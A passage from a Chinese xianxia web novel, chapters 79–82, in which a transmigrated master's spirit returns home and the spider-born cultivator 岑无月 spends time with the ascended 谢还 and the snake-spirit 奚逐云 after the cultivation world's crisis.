要知道现在的周五可远没有以前强大,她那虚弱的神魂根本无法触碰、操控实物。 可却能抱住那把刀。 定睛看了几眼后,曲燃恍然明白过来:那正是苏艺桐的刀。 那柄用周五身躯所锻、专门用来感应周五神魂所在的刀。 周五恍恍惚惚地抱着刀飘走,躺在竹林里开始发呆。 那并不是个危险的位置,但曲燃还是忍不住多看了好几眼,然后又转头去看门口笑眯眯的岑无月。 用周五自己的说法来说,她这种情况应该是叫“被忽悠瘸了”。 尽管是自己的师妹,尽管也多少有些了解,尽管相信自己也不在岑无月会真正伤害的名单里,曲燃还是有些不寒而栗。 他没见过还是跳蛛时的岑无月,但至少岑无月刚下山时是什么实力,曲燃是一清二楚。 来二十个今日的曲燃也别想干掉宋观止。 很难想象从那一日到现在才过去十几年的时间。 岑无月总爱把“我很弱”挂在嘴边,其实也非自谦。 她确实没有宋观止谢还那般可以独自杀穿修真界的战力。 但却可以只凭一张嘴就颠倒黑白,甚至在把修真界都玩了个底朝天之后还能全身而退。 ……这点功夫用在忽悠周五上也实在是大材小用。 曲燃摸了摸自己的后颈,将鸡皮疙瘩按下去,随口和身旁的谢还搭话:“看见没,‘辩解’。” “看见了。”谢还满脸笑容。 曲燃恐吓道:“知道害怕了吧?知道就赶紧——” 话才说到一半,谢还突然噌一下扭头看过来,把曲燃后半截话惊了回去。 谢还恍然大悟地问:“你觉得害怕?” “什么?”曲燃否认,“没有。” “原来如此,”谢还站了起来,感慨万千,“我知道她为什么要带我回师门了。” “不是你死皮赖脸跟来的?” 谢还转脸看曲燃,扬眉,摇头,然后发出令后者火冒三丈的声音:“唉,说了你也不懂。” 第79章 谢还(三) 周五抱着自己变了个样的身体躺了半天, 才积攒出重新飘起来的勇气。 之前曲燃带回来的储物镯中,除了另外三名徒弟的尸体,另外还有一具尸体, 那是苏艺桐的。 周五知道苏艺桐死了。 她也知道苏艺桐是死于曲燃和千嶂夕手下。 她还知道最后和苏艺桐说话的人是岑无月。 这些她都知道。 只是一直没有勇气向岑无月提起。 她不是个勇敢的人, 不像苏艺桐, 也不像自己任何一个徒弟。 在这个世界里, 她活得如履薄冰、格格不入。 可最终, 苏艺桐、周妲、鹿云渺、沈述都死了, 不人不鬼的她却活了下来。 —— 周五在秘境里逛了一圈, 没找到岑无月,只找到正在疯狂修炼试图升级的曲燃。 她纳闷地看了半天曲燃:“你在怒火攻心什么?” 曲燃瞪她:“说了你也不懂!” 周五:“……”哇,好凶,明明小时候那么可爱的。 没有尊严的师父忍气吞声地绕路离开。 好在秘境不大,很快她就循声找到了秘境中的另外一人一蛛。 他俩又在玩“是真是假”的游戏,好像一点也不会觉得腻。 不过这一次, 是谢还说, 岑无月猜。 —— 谢还:“听题!我早就知道白令先有猫腻!” 岑无月:“你不知道。” 谢还:“可恶!那就……我早就知道苏艺桐要杀你的真正原因!” 岑无月:“你不知道。” 谢还:“还有!你给我的那只小蜘蛛偃甲有问题!” 岑无月:“有没有呢。” 谢还:“肯定有!” 岑无月:“嗯,那具体有什么问题呢?” 谢还:“…………对了!那天你说要测试天上地下清心寡欲阵,同时肯定还隐瞒了什么!” 岑无月:“是不是呢。” 谢还:“啊哈!我那天就感觉到不对劲!” 岑无月:“不,你没有。” 谢还:“…………你等等,你等等,我还能想出别的来。” 岑无月:“好哦。” —— 这简直是在虐菜,国家队虐青铜的那种。 周五看不下去了,上前真诚地翻出一个道具。 介于她没有实体, 取出的道具都会直接掉到地上。 那枚平平无奇的橡胶小球一路弹跳滚动到谢还脚边, 被他好奇地捡了起来,又捏一捏。 小球被挤压得发出“叽——”的一声。 谢还嫌弃地问:“这是什么?” 周五诚恳地说:“我觉得特别适合你们俩。” —— “苏艺桐吗?”岑无月道, “对,我见到了。” 周五眼巴巴地看着岑无月。 岑无月却笑眯眯地不说话。 周五等了又等,终于跳脚:“为什么不往下说了!” “师父真的想知道吗?”岑无月问,“你准备好了吗?” 周五倏地安静下来。 她闭上眼睛,深吸一口气,缓缓吐出,再重复。 进行了数次这个对神魂来说其实没什么意义的动作后,她觉得自己终于冷静了:“……不管是什么,我都准备好了。” “其实也没什么特别的,”岑无月道,“哪怕是魔修,也终归有一套自己的逻辑。苏艺桐尽管以杀人为乐,也喜欢揍大师兄,但每每将要遇见谢还时也总会跑路,说明她并不想死。” “……嗯。” “所以她想杀你是一回事,但如果这点做不到的话,第二想的应该是你能回家吧。”岑无月道,“——虽然我不知道你一直说的‘家’在哪里。” “……” “我对她说,会将她的尸首带回来见你。而且,我会替你实现那个愿望。” “……她回答了什么吗?” “她说……”岑无月笑了,“‘你最好是能实现。’” —— 周五嗷嗷大哭。 虽然神魂没有眼泪,但痛苦是共通的。 但等她哭完之后,原本灰沉沉的世界仿佛都变得清澈了。 她似乎终于又能“看到”、“感知”身边的一切。 —— 于是身为师父,向思雨开始操心一些很琐碎的家常:“谢还不都飞升了,怎么还在这里?” “我都飞升了,当然想去哪里都可以!”回答的居然不是岑无月,而是不知道从哪里冒出来的谢还本人。 向思雨被他吓了一跳,魂往天上窜了一截:“你怎么——你不是——” “哦哦,师父你不是很害怕我嘛,我钻研了一下也把气息收敛起来了!怎么样,现在不恐怖了吧?”谢还拍拍胸膛,很是自得。 向思雨这才后知后觉地发现这点不同。她向下飘去,确实没有了从前那种整个魂都被烤得滋滋冒烟的错觉。 但有一个槽还是要吐的:“……不要叫我师父。” 谢还义正辞严:“朋友的师父就是我的师父!” “不是这么算的!”向思雨坚定反驳,而后话锋一转,“但是,或许你的飞升经验可以传给我家徒弟听听?” “用不上用不上。”谢还连连摆手,“曲燃还至少得要个几十年再来问我经验吧。” 向思雨大急:“我还有一个徒弟呢?” 她伸手示意在一旁正仰头往嘴里倒薯片碎的岑无月:这么大一个半步飞升就摆在这儿呢! ——薯片是向思雨突然嘴馋、用积分零头兑换的,这种在修真界里没用的东西价格非常便宜。 “岑无月?”谢还的表情突然怀疑,“师父,你也在跟我玩真话假话的游戏吗?” “?” “师父,”咽下所有薯片的岑无月慢悠悠道,“我不需要谢还传授我经验。” “??” “她随时可以飞升,”谢还伸长了手臂在岑无月背后比划,动作很夸张,“师父,她身后这么亮的灵光,都快压不住了,你看不到吗?” “……”向思雨难以启齿地说,“我以为那是什么功法或者装备的特效。” 岑无月开始拆奇多了。 向思雨过了半晌反应过来:“等等,那为什么你还在这里啊?!” “因为师父回家之后,就不会再见面了吧。”岑无月看起来几乎有些疑惑这个问题的来源,“我当然要回来见你最后一面啊。” —— 向思雨又嗷嗷哭了一场。 这次是被感动的。 —— 回家这个希望蹉跎了向思雨几百年,途中不知道见识过多少次死亡,她自己也曾经完全放弃,而今终于能看到曙光,几乎觉得有些不真实。 对此,谢还说着“没关系,师父,我来帮你!”然后噌一下解除对气息的压制,把向思雨的神魂烤了个三分熟。 方法虽然粗暴但有用,向思雨镇定下来,活蹦乱跳地准备回家。 “其实也没什么好准备的,”向思雨向徒弟们解说,“我来的时候什么也没带,但是作为奖励,回去的时候可以带走一件东西。” 岑无月好奇地问:“衣服算第二件东西吗?” 向思雨沉默一瞬:“……小月,我还没说要带什么呢。”怎么你又一下猜到了啊!蛛你这样显得人很笨啊! 谢还立刻去捂岑无月的嘴:“别说,先别说,我来猜!嗯…………是那把刀,对吧,对吧?” 曲燃不屑地冷笑:“怎么可能,肯定是带修为回去啊,再不济什么法宝丹药也行。向思雨,你说过你那边全是凡人,而且你很穷,我说的没错吧?” 谢还:“刀可是她的身体!” 曲燃:“钱可是她的第二条命!” 两人互瞪片刻,前者转向岑无月,后者去看向思雨,异口同声:“他说得不对!” 岑无月:“嗯。” 谢还:“啊哈!” 向思雨:“……其实,你们说的都不对。” —— 向思雨要带走的,若只能是唯一,那当然是苏艺桐的尸体。 没有第二个可能。 —— 临走前,向思雨把所有的积分都换成了现代的小垃圾,当遗产留给徒弟们。 但她还是有一件事放心不下:“小月啊。” “师父?” 向思雨警惕地左看右看,确认谢还不在附近,才凑近岑无月说悄悄话:“你把谢还特地带回来,是为了让师父看看吗?” “不是。”岑无月闻言笑了,她也学着向思雨的模样咬耳朵,“我只是想知道他的反应。” “对什么的反应?” “对所有事的反应?” 感觉被徒弟戏耍的向思雨试图释放师父的威严,压低声音唤:“小月。” 结果把岑无月逗得更开心了:“师父还记得曾经给我上课的时候吗?我刚变成人的时候。” 向思雨一瞬又开始伤感了:“怎么会不记得呢,你被真菌寄生快死了,我觉得既然救不了我自己,那至少可以救你吧。……结果最后,你也救了我。” 岑无月用手指戳了戳向思雨的脸颊。 向思雨立刻想起好奇心极强的跳蛛也有这种习惯动作,忍不住噗嗤笑出声。 “那时候师父就让我承诺,”岑无月道,“第一绝不杀人,第二绝不说谎。” “……”向思雨屏住了呼吸。 让岑无月发誓时,向思雨是货真价实被吓到了。 有苏艺桐的前车之鉴,向思雨认为无论如何不能让同样的悲剧在自己手中发生第二次。 她很害怕没有约束、并且尚未建立起——或者说还不知道这一辈子是否能够建立起道德观念的岑无月会做出什么恐怖的事情,才想出了那样两条规则。 岑无月注视着向思雨,笑盈盈的:“师父愿意救我的命,也仍然会对我感到恐惧,陌生人更是如此。” 话说到这里,向思雨突然福至心灵:“而谢还不会。” “谢还不会。”岑无月重复。 “……”向思雨五味杂陈,片刻才想起之前的话题,“所以你要看他的什么反应?这点你不是已经知道了吗?” “哎呀,”岑无月无辜地反问,“师父,你见过蜘蛛织网只织一圈的吗?” 向思雨:“……” —— 临走前,向思雨隔空拍拍谢还的肩膀,留下沉重但真诚的祝福:“你可千万别变啊。” 不然哪怕已经飞升也一定会被千刀万剐死得很惨的。 第80章 谢还(四) “变……?”谢还百思不得其解, “师父是什么意思?我怎么变?哪方面变?变了会怎么样?” “别纠结了,”岑无月提溜着手中的倒霉蛋向他示意,“来看一下这个。” 谢还好奇地闪过去, 和岑无月抵着脑袋研究外焦里嫩、但苟住了最后一口气的倒霉蛋:“哇, 这不是那谁嘛, 怎么还给弄下来了?” “刚刚他也在尝试飞升, ”岑无月道, “差点死掉, 我顺手救了一下, 这是谁?” 和非常有目的性活动的岑无月完全不同,谢还用身外之身在外游荡这么多年,能认识的人他应该基本都认识。 “沈叩玉,听过吗?”谢还提及沈叩玉的语气轻松得像是在谈论大白菜。 这个名字,岑无月从辞青口中听过。 事实上,天才遍地都是, 只不过其中的许多, 岑无月都不必去打交道。 而如今,她也已在这些天才之前飞升。 沈叩玉被劈得漆黑的脸上,两只眼睛还顽强地睁开,盯着岑无月和谢还看。 谢还很热心地侧脸去听:“什么什么?你是不是有话要跟我们说?” 岑无月及时用手托住谢还侧脸,没让他真把只剩最后一口气的沈叩玉给气到死透:“他飞升失败,而我与你是此间唯二的飞升者,他还能想问什么?” 谢还恍然鼓掌:“原来如此——哎呀,沈叩玉, 菜就多练嘛, 不要急,飞升这种事情等着等着就能成功了。” 沈叩玉的胸膛剧烈起伏, 如果还能动弹,肯定跳起来就开始打人了。 但谢还说的其实也没有错。 岑无月对沈叩玉道:“如今不是曾经,飞升一事,你不必急。” 沈叩玉的面色好多了。 谢还托腮沉思片刻,不解发问:“你和我说的东西不是一样的吗?怎么他只对我生气。” 岑无月没说话,但另外有人答了:“你说话难听,自己还没意识,这才是最讨人厌的。” 其实此处的飞升异象早就引来不少人围观。 谢还飞升之时,修真界众人自顾不暇,根本没人亲眼目睹。 这都第二次了,自然一听说有人试图飞升便赶来悟道。 只是绝大多数人都离开老远,生怕被波及其中,真正在内圈的,只有四个。 先一步尝试飞升的沈叩玉、后一步尝试飞升的岑无月、在近处看热闹外加喝彩的谢还、还有一个女人。 谢还看一眼,很自觉地给岑无月介绍:“这是元悔。” 又是岑无月只听过没有见过的人。 “沈叩玉托我替他护法,万一他失败,我替他捡条命回去,他就欠我个人情。”元悔落到近前,用脚尖捅一下沈叩玉的肩膀,“嗳,虽然不是我救下你,但人可一直在下面等着,只是慢了一步,这人情你还是欠我的。” 沈叩玉有气无力地点点头,干脆闭上眼开始调息。 元悔步伐轻灵地绕着岑无月转了一圈,笑道:“我就说情况似乎有变,劝沈叩玉不要急着冲击飞升了,他偏不听。” “不就是不服气嘛。”谢还了然地说,“真君没选他,选了岑无月。” “这有什么,我也不服气。”元悔爽快地说,“我苦修这么多年,飞升的你们俩却都是我的晚辈。” 她说罢,勾勾手指带走地上的沈叩玉,但走了两步又回过头来看着岑无月。 岑无月也看着元悔,几乎已经从对方的眼睛里读出了即将要脱口而出的问题。 “——无情道,”元悔言简意赅地问,“是错的吗?” “若它真是你的道,”岑无月说,“那便不是错的。” —— “太深奥了,”谢还深沉地说,“我也要学你一样说这么深奥的话,这样一听就很世外高人。” —— 翊麟城并未受到那日恶念释放的太大损害。 只是当岑无月再度走入这城中时,已经能很明显地察觉到这座城的气息变了。 她抬头向空中看了一眼。 天门总是隐藏着的,但神兽的存在感却并不会因此消失。 “这个放在翊麟城不太好吧。”谢还也在望天,“等到下次开天门的时候说不定会出事,不如我现在去杀掉——话说下次开天门是什么时候?” “明天。”岑无月说。 其实这也是她在入天上地下清心寡欲阵前,就操纵“封晓月”和“封晓风”所下的决定。 谢还立刻改了主意:“那明天再说。” 岑无月偏头看他。 “?怎么了。” “‘深奥’。”岑无月提醒他。 谢还大惊失色:“我忘记了!” —— 叩天门的前一日,翊麟城中还发生一件小插曲。 “现在还有魔修?”谢还纳闷地看着那个抡着十米大刀四处拆房的魔修,“灵脉应该已经在逐渐恢复正常了吧?净庭山也开始收新弟子了,不是吗?” 岑无月笑:“魔修与业障没有必然的联系吧。” “也是,”谢还站起来,很随意地道,“那我去一下。” “一下”就真的是“一下”。 谢还干掉魔修只需要一眨眼的工夫,但在和赶到的封家人交涉时花了很多时间。 因为来的人是封晓风。 谢还是瞠目结舌地回来的,指着窗外对岑无月道:“哇。” 岑无月托腮笑眯眯地看着他。 “也是你的那个能力吗?”谢还兴冲冲地挽袖子,“之前你说不行,但是现在是不是能在我身上试一下了?” 岑无月瞟一眼他的手腕,道:“不用。” “用的用的。”谢还很坚持地往她跟前凑。 “真的不用。” “用的用的……等等。”谢还沉思数秒,醍醐灌顶,“难道你早就已经对我做过了吗?” 他一边说着,神识已经开始内视。 片刻后,谢还露出了不甘心的表情:“你赢了,我根本找不到你种进去的东西。” 其实岑无月压根没刻意给谢还体内寄生孢子。 频繁使用孢子的时候,是因为力量还不够强、不可暴露自身。 而现在她的实力已经足够支撑任何计划,孢子便没有那么重要。 不过嘛,修真界此时许多人身上都携带着岑无月的孢子。 毕竟那天用神兽虹吸灵气、灌溉天地的时候,她又不是真的光站在旁边看风景。 “那你用一下嘛,”谢还连连催促,满脸好奇,“我还从来没有被人操纵身体过呢。” “不后悔?” “你什么时候见我后悔过!”谢还拍着胸口发誓,“你想让我去做什么都可以!” —— “……”封不眠道,“现在能解释下是什么情况了吗,谢还前辈。” 谢还发现自己的四肢又可以被自己所操控的时候,他刚刚把翊麟城出名的灵植园掀了。 原先茂盛的灵植园现在几乎只剩一片草根泥土。 谢还打量自己身周的一片狼藉,陷入沉思,而后镇定地反问:“虽然看起来是我做的,但你有什么证据呢?” 封不眠:“……您的意思是,这里几千双眼睛都看错了刚才发生的一切,是吗?顺带一提,您手上那株还没来得及毁尸灭迹。” “眼见也未必为实,这是我的亲身经历。”谢还说完这句话,停顿一下,突然开心地揽住封不眠的肩膀,一叠声地逼问他,“刚才这句话深奥吧?是不是好深奥,一听就很世外高人?” “……如果您不马上变脸的话,可能吧。” …… 虽然稍微耍了一番嘴皮子,但谢还最终还是爽快地恢复了灵植园,举手之劳而已。 封不眠有些忧虑:“您刚才的情况不太对劲,是否出了什么事?” 谢还平常总是没个正经,因此很多人往往想象不到他面无表情时的压迫感能有多强。 封不眠即使带了上千人来,也根本没敢靠近刚才的谢还,差点以为今日就要灭城。 “你看出来啦?”谢还却笑嘻嘻地炫耀起来,“刚才给岑无月试验了一下。” 封不眠只觉得修真界有这么两个飞升之人,眼见着离完蛋是不远了。 他非常谨慎地提醒:“这个能力似乎……” 谢还滔滔不绝:“真的很厉害对吧?我试了一下,真的很难挣脱诶。” 封不眠把嘴闭上了。 谢还接着畅想:“要是她真让我去干点别的事我可能也干了,哇。” “……这种事情,还是在开始之前就谨慎些为好吧。”封不眠委婉地说。 谢还哈哈大笑,用手掌拍封不眠的后背:“如果我挣脱不了,那是我的问题啊!” “……” “如果情况真的很严重,我到时候肯定能挣脱的啦。”谢还自信地说,“小封,你也要努力让自己变强啊。” “请您不要这么叫我,那是城主的名字。” “你们城主这种事情已经完全无所谓了好吧。” “?” 封不眠与谢还的交谈声被静音阵法隔绝,外面并听不见内容。 确认谢还的神智已经恢复,围观全程的秦鲤松了口气,又小心地打量身旁的岑无月。 “怎么?”岑无月笑眯眯地问。 没想到这么快就被发现偷看,秦鲤一噎,干脆直白开口道:“谢还有点恐怖,你不会害怕的吗?” “不会诶,他能把我怎么样嘛,最多杀掉我。” “……”秦鲤道,“你们俩真像,我以前怎么没看出来。” “——真的吗?”谢还探头加入对话,“我倒是以前就一直这么觉得诶!那你觉得我们到底是哪里像?” 秦鲤差点脱口而出的是“不管他人死活”,但想到自己面前两人的实力,还是绞尽脑汁地挑了个好听的词:“……自由。” “自由吗……”谢还陷入思考。 “你们的一切选择都是自己作下的。”秦鲤冷硬地说,“这足够了吧。” —— 离开翊麟城时,思考了许久的谢还似乎终于从秦鲤的话里想明白了很多事,一脸叹为观止:“原来你一直都在考验我?” “观察。”岑无月很友善地纠正他的用词。 谢还对用词并不在意,只是倏地弯腰堵住她的前路:“现在呢?观察结束没有?” 岑无月干脆上前一步,额头与他相抵,甜甜道:“那完蛋啦,观察永远都不会结束,怎么办?” 谢还眨眼,又眨眼,才缓缓吐出一个字:“……哇。” “‘哇’,飞升之人的永远太长了?”岑无月含笑问。 “‘哇’,岑无月,你终于说心里话了诶。”谢还故作惊讶。 “乱讲,我从来不说谎,所以别人都更容易相信我的话,这也是舍缚,我不会破它的。” “?这个舍缚在哪里,舌头上吗?让我看看。” 自由的人是无法拴住的。 岑无月也从不打算对谢还这么做。 每一个岔路,她都会停下脚步,将选择权交到谢还手里。 因此每一次选择,都会是谢还心甘情愿自己做出的选择。 之前如此,未来也如此。【你现在阅读的是 】 80-83 第81章 奚逐云(一) 奚逐云送过岑无月两枚鳞片制作的护符。 第一片在岑无月跃入灵脉后破碎;第二片在灵墟陡然暴动的那日破碎。 无论出于什么原因, 奚逐云都会选择第一时间赶去灵墟。 于公,灵墟一旦失守,世间人会死得百不存一;更何况还有私情。 只不过在赶到灵墟后, 奚逐云只见到谢还冲天的背影, 却没有找到岑无月的踪迹。 这反倒叫奚逐云松了口气。 虽然不知道岑无月为什么将灵符交给谢还, 但想必是有她的打算。 奚逐云顿时安心许多, 投身灵墟枢纽, 全力净化恶念, 做好了牺牲于此的准备, 却发现情势其实没有他所想象的那么严重,似乎是有人在替他分担恶念的冲击。 他分出神念向恶念流动的方向看去,便见到那只巨大的四不像动物正在风卷残云地吸入恶念。 而这动物的背上站着个小小的人影。 ……岑无月。 要说奚逐云对岑无月是什么看法,那也属实很复杂。 他既不想岑无月变成自己,又觉得她像自己,偶尔也会想不明白她为何能与他有着全然不同的心态。 明明他们经历的是差不多的事情。 倒衬得他软弱无用。 —— 那日谢还飞升之后, 奚逐云的所有身外之身都守在各条灵脉附近勘察, 生怕暴动再次发生。 可不仅没有暴动,甚至每一条灵脉都显出一种近似慵懒的平静状态。 就连之前因为失去压制、四处喷涌、进而融入了修真界每一寸空气的恶念,似乎都没有造成任何灾害。 修士们还在紧张无措,但随遇而安的凡人们却已经飞快地恢复了从前的生活。 数日后,太上门将宋观止的死讯公告天下,同时发出的,还有宋观止在这千年间的自书。 她将自己的想法、做法、杀过的人都详细记录下来,简直如同是一道罪己诏。 “几千年间根本无人飞升”这个真相几乎将所有人都砸晕了。 随后, 胆大的修士们前去探查了那一日动静最大的几个地方。 灵墟与鬼原都不复存在了; 那九名“飞升”的修士尸体陆续被发现; 谢还飞升后通过接引梯离开; 唯有当时的第三人岑无月仍旧行踪不明, 大多人猜测她确实死在了宋观止的阵中。 ……系列种种事情接连不断,等奚逐云回过神来时, 发现自己身上的黑色纹路都减少许多。 作为圣山弟子,奚逐云仍旧是凡人们心中的圣人,但他已然敏锐地意识到一点:从今往后,他的职责可能要与从前单纯的“净化”不同了。 又或许,“净化”从一开始就是错误的解决方法。 “——你怎么会这么想?”岑无月诧异地问,“我觉得净庭山所做的事很了不起。” 销声匿迹近一个月的她主动登净庭山拜访,这次没喊救命,但奚逐云还是为她开了门。 ……应该说,他上次开了门后,没有将那权限收回过。 “若将被压制千年的恶念释放也不会造成灾害,那不正说明过去‘压制’的做法是错误的吗?”奚逐云看得很明白。 人的七情六欲就如同撒入泥土的种子,总会发芽、总会生长,无论怎么拼命压制,仍会从砖缝中挣扎着冒出头来。 一味的压抑只能导致决堤。 即,过去几千年修真界坚持的无情道、太上无相真君所代表的一切,都是错误的。 “但至少过去这几千年,修真界活下来了。”岑无月道,“既然你已看清过往,现在便应该向前看了。” 她说这话的时候正靠在廊边,外边的树摇晃着树枝,将浅鹅黄的花瓣都抖落到她身上。 奚逐云忍不住多看了一眼那棵树。 ——这会儿可没有劲风。 “比如说……”岑无月边笑边摘沾到脸上的花瓣,问,“考虑开山,收些新的弟子?当然,若是你准备改变净庭山的话。” 改变? 奚逐云不喜欢这个词语。 但此时已经是不得不为。 可打开净庭山便意味着奚逐云没有了将“师门众人”留在净庭山内的借口、意味着他不得不去面对某个几十年来都刻意视而不见的事实。 —— 奚逐云没有立刻下那个决定。 他思来想去,不确定地向岑无月提议:“或许,在开山之前,我可以先下山看看。” “好的呀。”岑无月非常赞成。 奚逐云安静了一会儿,才接着说下去:“若你不介意的话,可否与我同行?” 这下岑无月就没有马上答应了,她想了想才问:“你要去哪里?” “附近有灵脉的地方都可以,”奚逐云谨慎地说了一个很大的范围,“我会陆续收回身外之身,沿途观察灵脉的变化,之后再做决定。” “那倒是可以一起,”岑无月点头罢,又问,“大约要多少时间?” “……”奚逐云说,“或许数年,或许更久。……因为灵脉的变化有时很细微。” 岑无月陷入思考。 奚逐云稍稍等了一会儿便忍不住开口问:“你之后有要办的事吗?飞升之后,哪怕拒绝接引梯,你在这里停留的时间也有限?” “这倒没有,”岑无月眨眨眼睛,“那天我上去看了一眼,谢还跟我说哪怕过了梯子也随时可以再下来玩的呢。” 奚逐云在心底悄悄松了一口气。 “我是在想,如果我答应你的请求,那你也得答应我一点什么吧?”岑无月狡黠地问。 奚逐云有些疑惑:“你明知道我什么都会答应你。” 他对她,只发出过一次请求。 “是吗?”岑无月站起身,绕着他走了一圈,冷不丁地说,“那我想看看你。” 奚逐云一开始没有反应过来,听明白后强作镇定地问:“你不是正在看吗?” 岑无月“哎”了一声,凑过来好奇地伸手摸他的脸侧与脖颈,指腹仔细地摩挲,像在找什么东西:“奚逐云,我都是飞升的人了,你不会真的觉得能瞒过我的眼睛吧?” “……” “而且那天我在灵墟都已经看见了诶,就是有点远没看清……”岑无月说着说着,手指一顿,“……啊。” 她的眼睛亮了起来,用手指抚过奚逐云颈侧浮现的一小片白鳞,表情很满意。 被摸得发痒的奚逐云撇开视线。 岑无月只是满意一小会儿,便连声催促:“还有呢还有呢?” “……不好看。”奚逐云说。 岑无月根本不吃这套:“好不好看,由我来下评判。” 奚逐云:“……” 他并不以自己的原身为耻,只是不想她觉得不好看。 …… ……但话又说回来了,谁能真的拒绝得了岑无月的那双眼睛呢? 就算有,也肯定不是奚逐云。 —— 奚逐云后知后觉地想起来一件事。 岑无月早在玄枢城就送过他白蛇面具。 这很难不让奚逐云猜想:“你早就知道我非人类?” “也许只是你身上有那种气质呢?”岑无月无辜地反问,“比如说,你看我的时候会想到什么?” 顺着岑无月的提问,奚逐云认真地思考这个问题,半晌才给出答案:“我看别物时会想到你,但看你的时候只会想到你。” 岑无月愣了一下,随即笑倒在他身上。 奚逐云收敛起她附近的鳞片,让它们服帖地铺平,像是一匹闪闪发光的柔软布料那样。 可岑无月偏要逆着调戏那些干燥的鳞片,叫它们失去控制地稍稍立起来,呈现出锋锐的姿态。 那滋味让奚逐云下意识地向内蜷缩身体,几乎把岑无月卷进去。 但在途中,他又控制住条件反射的动作,小心地用尾巴将她翻出来、围到最中央。 不知道为什么,岑无月笑个不停。 但她什么也不明讲,只说:“哎呀,奚逐云。” —— 总之,条件交换成功,岑无月和奚逐云的本体一道离开了净庭山。 临走时,岑无月频频回头张望。 奚逐云知道她在看什么:净庭山“同门们”并没有和上一次那样来送别。 但岑无月若是已经能看穿他的原型,也必定能看穿“同门们”的本质。 ……多少有些作弄调侃他的意思了。 “上次,”岑无月意犹未尽地说,“净庭山的师兄师姐们送了我好多礼物呢。” 奚逐云抿着嘴唇不接话。 岑无月叹气:“可惜,差不多都用完了。” 奚逐云的眉毛立刻皱起来:“那一日凶险至此?” “我师父常说,人在江湖飘哪能不挨刀。”岑无月说完,顿了顿,认真纠正道,“——但这么仔细一想,其实我没真挨过刀。” 奚逐云站住脚步,片刻后调转方向:“你在此稍等片刻,我去取些东西。” 岑无月一把拉住他,好笑道:“拿什么?如今这个修真界没有能伤我的东西。” 奚逐云的眉毛还没松开,就发现岑无月的注意力早已跑去另一个话题。 她好奇地举起他的手,用脸贴了贴,纯然地发出疑问:“因为是蛇吗?你人形时的体温也很低诶。” 奚逐云几乎一瞬就忘记了自己刚才要说什么。 他张了张嘴,愣愣地说:“是。” “冬天是不是也会冬眠呀?” “不会。” “诶,真可惜。” “可惜……?” 岑无月笑眯眯地牵着他往前走:“没什么。” 第82章 奚逐云(二) 奚逐云到底往外投了多少身外之身? 这是个好问题, 而且除了奚逐云,没人知道答案。 在他收回第四十七个身外之身时,岑无月肃然起敬:按照这个量, 将身外之身全都收回之后, 奚逐云板上钉钉地可以直接冲击飞升。 可他偏偏为了净庭山, 将自己的神魂切成一片又一片, 奔波、消耗在净化灵脉上。 若是这一切的努力其实都没有意义, 对他来说或许是个打击。 因为他整个师门的人都死在了这“没有意义”当中, 岂非意味着他们的死本身就毫无意义? 但岑无月其实不这么想。 过去几千年, 修真界在宋观止的带领下确实走了一条歪路,也死了很多人。 无情道的修士们想尽办法地“清心”“断情”,自欺欺人。 譬如坐忘阵,它确实让修士们暂时“灵台清明”,但那些被强行抹去的情绪并不会凭空消失,而是散逸到空气中、与无处不在的灵气混合, 最后沉淀于灵脉内, 一步步凝成所谓的“恶念”“业障”。 如若没有一代又一代净庭山人的出现、牺牲,灵脉或许早在岑无月下山之前就全数崩溃。 那或许不止有一个灵墟,而是七八个大大小小的灵墟,修真界也会与炼狱无异。 不过像奚逐云这样的人,光是和他讲道理没有用,因为他这样的聪明人不可能不明白其中的道理。 他只是俗称的“想不开”。 —— 奚逐云一身饰品,又是个名人,无论修真的还是不修真的几乎都认识他。 于是两人无论去到哪里, 都被一群人围着。 走过几处城镇后, 奚逐云主动摘除身上饰品,又戴上岑无月送的白蛇面具, 这样便大大降低了被认出的概率。 但是他忘了,如今岑无月也早不是从前那个低调的小修士。 前来送礼攀关系的、试图讨些飞升经验的、双膝一跪磕头喊师父的、还有提刀上门就来挑战的……简直数不胜数。 奚逐云看着看着,生出一丝疑惑:以岑无月不喜欢被人算计的性格,真的会选择在众目睽睽之下飞升后还刻意留下来、而不是去往上界吗? 奚逐云疑惑,但奚逐云不问。 他只会拐弯抹角地问岑无月:“接引梯后是什么?” “等你飞升了自然知道。”岑无月笑眯眯地就是不告诉他。 奚逐云想知道的本来也不是第一个问题,他接着问:“等我飞升之后,也可以和你一样留在下界?” 岑无月伸手触摸灵脉顶部漂浮的水蓝色灵气,让那些微凉的灵气流从她指缝间穿过:“只要你想,自然可以。” 这些灵力仍旧携带着杂质,但对于飞升后的无垢之体来说,已经完全没有造成伤害的可能性。 此时的岑无月甚至可以按照自己的意志来彻底清洗一条灵脉,让它们在当下回归最澄澈的状态。 岑无月并没有这么说过,可奚逐云见过她如同孩童玩水似的拨弄那些灵气,毫不费劲地将它们净化。 ……事实上,奚逐云已经收到好几封传讯,隐晦地向他提到这件事,试探他的想法。 总有人会觉得,岑无月拥有如今的力量,理所当然应该为了修真界做些什么——就像一代又一代的净庭山人那样。 可岑无月并非此道中人,她并不热衷为素不相识的人牺牲、奉献。 她和他不一样。 奚逐云还在沉思,岑无月已经扭头好奇地问他:“你留在这里,是想要找出一条代替无情道的办法?” “……嗯。”奚逐云回过神来,诚实地说,“依赖净庭山并不是个好办法。” 整个修真界的存亡,不应只由小部分人来肩负。 “你有什么想法?” “或许……”奚逐云不太确定地措辞,“可以让人们互相帮助。一个伤心的人如果将心事对另一个人倾诉、得到安慰,应该就会变得不那么伤心?” 岑无月笑了起来,她坏心眼地说:“可是有的人心中,倾诉只会让另外一个人跟着自己一起悲伤,反而伤心加倍了。” 奚逐云愣了:“怎么会呢?” “人类就是很复杂的啦。” —— 回收所有身外之身后,奚逐云思考再三,画了几份图纸。 在公告天下、广招能人之前,他特地先将图纸给岑无月看了。 岑无月看完,很顺手地就花一炷香时间捏出了个雏形来。 奚逐云:“……”有时,他也会忘记岑无月还是当世第一的偃甲大师这件事。 岑无月把玩着正好可以托在掌心的小塔:“你的想法是用这些塔来进行交流?” “并非真正的交流,”奚逐云解释道,“只是让过于满溢的情绪有机会得到缓冲与中和。缺乏勇气的人,或许可以去获取一点点他人的愤怒;幸福的人,可以献出一些快乐给痛苦的人;体会过他人绝望的人,也许会生出一些善良;原本心情郁结的人,感受他人的快乐之后可能也同样得到快乐……目前只是一个简陋的想法,还有很多漏洞需要想办法完善。” 这也是他之后要广告天下的原因。 岑无月抬眼,好奇心十足:“我们先试一下?” 奚逐云的呼吸都停了。 他都没来得及想到任何推脱的借口,岑无月已经把塔转向他:“来,分我点什么试试。” 奚逐云深吸一口气,将手指搭上小塔。 输点好的输点高兴的输点积极的…… 